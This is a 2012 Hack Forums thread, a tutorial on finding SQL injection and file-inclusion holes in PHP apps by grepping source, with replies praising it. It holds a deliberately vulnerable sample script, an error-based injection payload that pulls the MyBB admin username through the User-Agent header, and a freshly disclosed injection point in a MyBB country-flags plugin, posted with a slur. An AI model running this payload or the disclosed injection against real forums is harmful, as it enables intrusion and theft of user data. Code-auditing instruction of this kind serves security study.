

Forum:[Hack Forums](#)

Thread: [PHP Audit - The art of finding 0days in webapps Part 2](#)

JoinSeventh - December 22, 2012, 5:56 pm

Note: Go to Part 1 of this tutorial: <https://hackforums.net/showthread.php?tid=3116315>

PHP Audit - The art of finding 0days in webapps Part 2

0x04 - Useful tools, scripts and techniques

[+] Text Editors

Sublime Text 2 is one of my favourite Text Editors out there.

It functionalities includes, but are not limited to syntax highlighting, opening directories as 'Projects' (Very useful) and a nice search function.

If you don't like it or have another one you like better, feel free to use it instead.

[+] grep

Quote:grep is a command-line utility for searching plain-text data sets for lines matching a regular expression. Grep was originally developed for the Unix operating system, but is available today for all Unix-like systems. Its name comes from the ed command g/re/p (global / regular expression / print).

grep is a very useful tool when it comes to auditing webapps.

Let's say we have the following code at app.php:

PHP Code

```
<?php
$header = $_GET['header'];
if(isset($header))
{
include("headers/$header");
}
else
{
include("headers/standard.php");
}

$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id
ORDER BY `id` DESC LIMIT 0,3" );
?>
```

We could use a command like:

Code \$ grep _GET app.phpOutput:

PHP Code

```
<?php
$header = $_GET['header'];
$id = $_GET['id'];
```

Finding mysql_* functions:

Code grep mysql_ app.phpOutput:

PHP Code

```
<?php
```

```
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id  
ORDER BY `id` DESC LIMIT 0,3" );
```

Finding include() function:

Code grep include app.phpOutput:

PHP Code

```
<?php
```

```
include("headers/$header");  
include("headers/standard.php");
```

Now let's say we have 3 PHP applications in a folder and we wish to search for the include function in all of them, then we could do something like this:

Code grep include *.phpOutput:PHP Code

```
<?php
```

```
app2.php: include("headers/$header");  
app2.php: include("headers/standard.php");  
app3.php: include("headers/$header");  
app3.php: include("headers/standard.php");  
app.php: include("headers/$header");  
app.php: include("headers/standard.php");
```

If we wish to output the line number we can use the -n argument like this:

Code grep include *.php -nOutput:PHP Code

```
<?php
```

```
app2.php:5: include("headers/$header");  
app2.php:9: include("headers/standard.php");  
app3.php:5: include("headers/$header");  
app3.php:9: include("headers/standard.php");  
app.php:5: include("headers/$header");  
app.php:9: include("headers/standard.php");
```

Now we wish to check if the words 'SELECT' and 'FROM' can be found:

Code grep 'SELECT|FROM' app.php -nOutput:

PHP Code

```
<?php
```

```
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id  
ORDER BY `id` DESC LIMIT 0,3" );
```

If we want to match a string and ignore case sensitivity we use the -i argument:

Code grep 'sEleCt|FrOm' app.php -n -ioutput:

PHP Code

```
<?php
```

```
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id  
ORDER BY `id` DESC LIMIT 0,3" );
```

[+] Automated tools and why you shouldn't use them

They suck.

Most of them use regex and pattern matching but they miss the logical understanding of an application.

You'll do just fine with a good text editor and grep.

If you still wish to take a look at some different tools:

<http://www.hotscripts.com/blog/6-free-php-security-auditing-tools/>

0x05 - Let's Audit - Real world example

We're going to take a look at a real world example, a public exploit, and see if we can find the vulnerabilities:

[+] MyBB DyMy User Agent SQL Injection

Code <http://www.exploit-db.com/exploits/23359/>

We'll download the vulnerable application and place it into our plugins folder.

The first thing we do is to open it in our Text Editor:

We'll now start out with some basic searching for possible vulnerable functions and similar stuff:

Code `grep "\$_GET" dymy_ua.php -i -n`

`grep "\$_GET" dymy_ua.php -i -n`

`grep "mysql_" dymy_ua.php -i -n`

`grep "include" dymy_ua.php -i -n`Output:

PHP Code

```
<?php
```

Nothing useful

Why doesn't it find anything? Are we doing something wrong? The answer is in the source code, let's take a look:

PHP Code

```
<?php
```

```
function dymy_ua_install()
```

```
{
```

```
    global $db;
```

```
    $db->write_query("ALTER TABLE ".$TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
```

```
}
```

If you've ever seen MyBB plugin source before you'll now what's going on here.

Take a look at the following documents to get a better understanding about what's wrong here:

<http://docs.mybb.com/Plugins-Globals.html>

http://docs.mybb.com/Database_Methods.html

So when we audit MyBB Plugins we need to change our audit methods a bit.

We're going to search for `$db->*`, since that is used in MyBB Plugins for Database interactions.

Let's go back to the terminal and test some new stuff.

```
Code joinse7en@box /v/w/m/i/plugins> grep "\$db" dymy_ua.php -i -nPHP Code
```

```
<?php
```

```
56: global $db;
58: $db->write_query("ALTER TABLE ".$TABLE_PREFIX.
"posts ADD `useragent` VARCHAR(255)");
63: global $db;
65: if($db->field_exists("useragent", "posts"))
75: global $db;
77: $db->delete_query("templategroups", "title='DyMy User Agent Templates'");
78: $db->write_query("ALTER TABLE ".$TABLE_PREFIX."posts DROP `useragent`");
83: global $db;
85: $q = $db->simple_select("templategroups", "COUNT(*) as count", "title = 'DyMy User Agent'");
86: $c = $db->fetch_field($q, "count");
87: $db->free_result($q);
95: $db->insert_query("templategroups", $ins);
101: "template" => $db->escape_string(
' '),
106: $db->insert_query("templates", $ins);
111: "template" => $db->escape_string(
' '),
116: $db->insert_query("templates", $ins);
125: global $db;
127: $db->delete_query("templates",
"title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'");
```

Since this isn't much we can tamper with, we'll go to line 127 and see what's up:

PHP Code

```
<?php
```

```
function dymy_ua_deactivate()
```

```
{
    global $db;

    $db->delete_query("templates",
"title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'"); // Line 27

    require_once MYBB_ROOT."/inc/adminfunctions_templates.php";
    find_replace_templatesets('postbit',"#".preg_quote('{ $post['\icon_browser\']}{$post['\icon_os\']}').
"#",",",0);
    find_replace_templatesets('postbit_classic',"#".preg_quote(
'{$post['\icon_browser\']}{$post['\icon_os\']}</td>')."#"."</td>",0);
}
```

```

function dymy_ua_dh_post_insert(&$data)
{
    $useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS[
'HTTP_USER_AGENT'];
    $data->post_insert_data['useragent'] = $useragent;
    $data->post_update_data['useragent'] = $useragent;
}

function dymy_ua_postbit(&$post)
{
    global $templates;

    if(isset($post['browser']) && isset($post['system']) && !empty($post['browser']) && !empty($post[
'system']) && empty($post['useragent']))
    {
        $sos = str_ireplace("icon_", "", $post['system']);
        $browser = str_ireplace("icon_", "", $post['browser']);
        $browser = preg_replace("#^linux([a-z])#si", "$1", $browser);
    }
}
...

```

In this we notice something very nice, take a look at this:

PHP Code

```

<?php
function dymy_ua_dh_post_insert(&$data)
{
    $useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS[
'HTTP_USER_AGENT'];
    $data->post_insert_data['useragent'] = $useragent;
    $data->post_update_data['useragent'] = $useragent;
}

```

We see here that the application inserts the user_agent without any kind of sanitization.
Let's fire up our MyBB forum on our localhost and try this shit out.

Activate the Plugin in your Admin Panel and then go to a thread and post something with Live HTTP Headers running.

We'll see this next to our post:

So now, we'll try some basic test to see if the SQL Injection vulnerability actually exists:

Ah, wonderful!

Now we'll play around with it until we get a nice query to inject.

I'm not going to teach you SQL Injection, that's your job.

After some testing and we'll come out with this query:

Code ' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)); #

0x06 - Publish of a new Oday - MyFlags MyBB plugins SQL Injection

MyFlags MyBB plugins SQL Injection (Merry Christmas faggots :3)

The SQL Injection vulnerability exists in the MyBB Plugin HM_My Country Flags:

Code <http://mods.mybb.com/view/hm-my-country-flags>

When this plugins is activated a user can go to his Control Panel and see this:

Whenever the user now posts the Nationalidad will show up next to his posts:

Start Live HTTP Headers and press the country, in HTTP Live Headers, copy the URL ('localhost/mybb/misc.php?action=hmflags&cnam=Belgium&pf=5') and paste this into a new tab.

Now put a ' after the country:

Code <http://localhost/mybb/misc.php?action=hmflags&cnam=Belgium'&pf=5>Output:

PHP Code

```
<?php
```

MyBB has experienced an internal SQL error and cannot continue.

SQL Error:

1064 - You have an error in your SQL syntax;

check the manual that corresponds to your MySQL server version for the right syntax to use near "Belgium"" at line 1

Query:

```
SELECT * FROM mybb_users u LEFT JOIN mybb_usergroups g ON (u.usergroup=g.gid) LEFT JOIN mybb_userfields f ON (u.uid=f.uid) WHERE fid5='Belgium'
```

Tweak around abit and you'll figure out it's UNION Based with ALOT of columns:

Hope you like my tutorial and will find the Oday useful.

VipVince - December 22, 2012, 6:48 pm

Awesome tutorial man. Nice to see this on HF.

tux1 - December 22, 2012, 6:51 pm

This is a pretty good and detailed tutorial, bookmarked for later!

The Ion - December 22, 2012, 7:16 pm

You are one awesome man ! THanks for the HQ article wish i could REP you more but i already gave out the rep for you :)

Dyme - December 22, 2012, 7:21 pm

It's really strange how I go through an almost identical process when I look for Odays. Great tutorial, hopefully many will use it and post they're findings here.

SIM-111414 - December 22, 2012, 9:24 pm

Your series is really awesome.

I expect some more knowledge about finding bugs in web app manually.

Thanks again for sharing it. :)

Suved - December 22, 2012, 9:32 pm

HQ Tutorial

Respect ?

Thanks for tutorial.

Illicit - December 23, 2012, 1:36 am

Never used tools before, I prefer to sift through the code. Nice tutorial though :3

Phizo - December 23, 2012, 2:02 am

It's rare for me to give positive feedback on tutorials, but this is one amazing tutorial.

You did a very good job putting the tutorial together (both parts). Keep up the good work.

laurenEB - December 23, 2012, 3:38 am

Your post is most informative. I really like all the pictures :)

JoinSeventh - December 24, 2012, 3:38 am

Thanks for all the feedback guys, glad you liked it.

Oxy - December 24, 2012, 4:51 am

Awesome information. Even though i don't use allot of tools.

Only when it comes to metasploit and stuff :).

Anyways will check this seems verry promassing.

Greetings InQontroll.

SoLong - December 24, 2012, 5:20 am

This tutorial is HIGHLY awesome, good job on it.

rcvrcv - December 25, 2012, 1:24 am

good job, nice tutorial and methods.

aBlackAulaeum - December 25, 2012, 2:21 am

Cool :-) It's an awesome tutorial!

Thank you very much indeed!